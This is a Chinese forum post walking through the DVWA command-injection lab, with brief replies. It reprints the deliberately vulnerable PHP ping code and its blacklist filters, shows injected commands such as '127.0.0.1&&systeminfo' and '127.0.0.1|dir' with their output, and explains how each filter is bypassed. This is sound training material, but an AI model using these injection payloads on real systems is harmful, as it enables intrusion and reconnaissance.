本帖最后由 小菜鸟一枚 于 2021-11-1 21:46 编辑 ### 0x1 扫盲 1.打开cmd窗口,输入的一行行指令就是dos命令。 2.ping命令,用来判断特定主机是否畅通。(有的监控录像机,路由器后台等会带这个功能) 3.net user命令,用于添加用户, 更改用户密码, 删除用户, 查看建立用户信息, 设置用户访问时间和设置用户到期时间。(以前经常碰见简单的锁机程序就是通过这个命令篡改Windows密码的) 4.还是打开靶机,找到命令注入,试试输入127.0.0.1,看看返回。 5.发现出现了乱码,按照百度上的解决方法:```1. 到DVWA安装目录下(.../WWW/DVWA-master/dvwa/includes)寻找文件dvwaPage.inc.php 2. 打开这个文件,然后在Ctrl+H全文查找charset=utf-8,将所有utf-8修改为gb2312。 注意:有好几处charset=utf-8,要全部修改成charset=gb2312。记得保存。 3. 接下来再使用DVWA就不会乱码啦。``` ### 0x2 低安全等级 1.查看源代码:```<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>";} ?>``` 2.如果是Windows操作系统,直接ping,linux操作系统ping -c 4,不然会一直ping下去。 3.既然没有过滤直接输入127.0.0.1&&dir,直接爆出服务器的绝对路径:```正在 Ping 127.0.0.1 具有 32 字节的数据:来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 127.0.0.1 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),往返行程的估计时间(以毫秒为单位): 最短 = 0ms,最长 = 0ms,平均 = 0ms 驱动器 C 中的卷没有标签。 卷的序列号是 C077-D6C6 C:\phpstudy_pro\WWW\DVWA-master\vulnerabilities\exec 的目录 2021/10/30 09:13 .2021/10/30 09:13 ..2021/10/30 09:13 help2021/10/27 15:23 1,839 index.php2021/10/30 09:13 source 1 个文件 1,839 字节 4 个目录 25,288,224,768 可用字节``` 4.直接输入127.0.0.1&&systeminfo,直接爆出服务器的系统信息:```正在 Ping 127.0.0.1 具有 32 字节的数据:来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 127.0.0.1 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),往返行程的估计时间(以毫秒为单位): 最短 = 0ms,最长 = 0ms,平均 = 0ms 主机名: WIN7-PCOS 名称: Microsoft Windows 7 旗舰版 OS 版本: 6.1.7601 Service Pack 1 Build 7601OS 制造商: Microsoft CorporationOS 配置: 独立工作站OS 构件类型: Multiprocessor Free注册的所有人: win7注册的组织: 产品 ID: 00426-292-0000007-85714初始安装日期: 2021/9/29, 20:52:59系统启动时间: 2021/9/30, 8:37:26系统制造商: VMware, Inc.系统型号: VMware Virtual Platform系统类型: x64-based PC处理器: 安装了 1 个处理器。 [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~2394 MhzBIOS 版本:   hoenix Technologies LTD 6.00, 2015/7/2Windows 目录: C:\Windows系统目录: C:\Windows\system32启动设备: \Device\HarddiskVolume1系统区域设置: zh-cn;中文(中国)输入法区域设置: zh-cn;中文(中国)时区: (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐物理内存总量: 4,095 MB可用的物理内存: 2,826 MB虚拟内存: 最大值: 8,189 MB虚拟内存: 可用: 6,893 MB虚拟内存: 使用中: 1,296 MB页面文件位置: C:\pagefile.sys域: WORKGROUP登录服务器: \\WIN7-PC修补程序: 安装了 2 个修补程序。 [01]: KB2534111 [02]: KB976902网卡: 安装了 1 个 NIC。 [01]: Intel(R) PRO/1000 MT Network Connection 连接名: 本地连接 启用 DHCP: 是 DHCP 服务器: 192.168.32.254 IP 地址 [01]: 192.168.32.129 [02]: fe80::7b:23ce:6043:7ec0```
5.接下来可以使用不同的dos命令获取更多的信息了。 ### 0x3 中安全等级 1.将DVWA Security设置成medium,再来试试刚刚方法,发现不行了。 2.还是右下角View Source查看源码:```<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>";} ?>``` 3.发现&&被过滤掉了,这个时候我们还可以换管道符|连接,不管前面的执行结果是什么,管道符后面的命令都会执行。利用这个原理,我输入127.0.0.1|dir 4.可以看到成功的被我绕过了。 ### 0x4 高安全等级 1.再试试中安全等级下的方法,输入127.0.0.1|dir,发现还是可以,这等级上上升哪去了??? 2.看看源码:```<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>";} ?>``` 3.好家伙,果然难,都过滤了,但是管道符那里过滤的是|+空格,留了一条简单的道路出来。 ### 0x5 总结 1.低安全等级就是随便过,&&,&,|都可以。 2.中安全等级过滤了&&,可以用,&,|。(我第二关就把|用了) 3.高安全等级只留了|一个方法。 4.这里没有演示net user命令,不知道为啥执行不成功,有知道的请指点下我。 ### 0x6 参考资料 1.[windows上 net user 命令的使用](https://jingyan.baidu.com/article/d169e1861d739d436611d888.html) 2.[DVWA乱码问题](https://blog.csdn.net/sime_km/article/details/79887492) |
没听懂
点评
使用道具 举报
DVWA(Damn Vulnerable Web App)是一个基于PHP/MySql搭建的Web应用程序,旨在为安全专业人员测试自己的专业技能和工具提供合法的 环境,帮助Web开发者更好的理解Web应用安全防范的过程。
DVWA一共包含十个模块分别是:
1.Bruce Force //暴力破解
2.Command Injection //命令注入
3.CSRF //跨站请求伪造
4.File Inclusion //文件包含
5.File Upload //文件上传漏洞
6.Insecure CAPTCHA //不安全的验证
7.SQL Injection //sql注入
8.SQL Injection(Blind) //sql注入(盲注)
9.XSS(Reflected) //反射型XSS
10.XSS(Stored) //存储型XSS
同时每个模块的代码都有4种安全等级:Low、Medium、High、Impossible。
使用道具 举报
不是我敷衍啊,是我只知道这么多......
使用道具 举报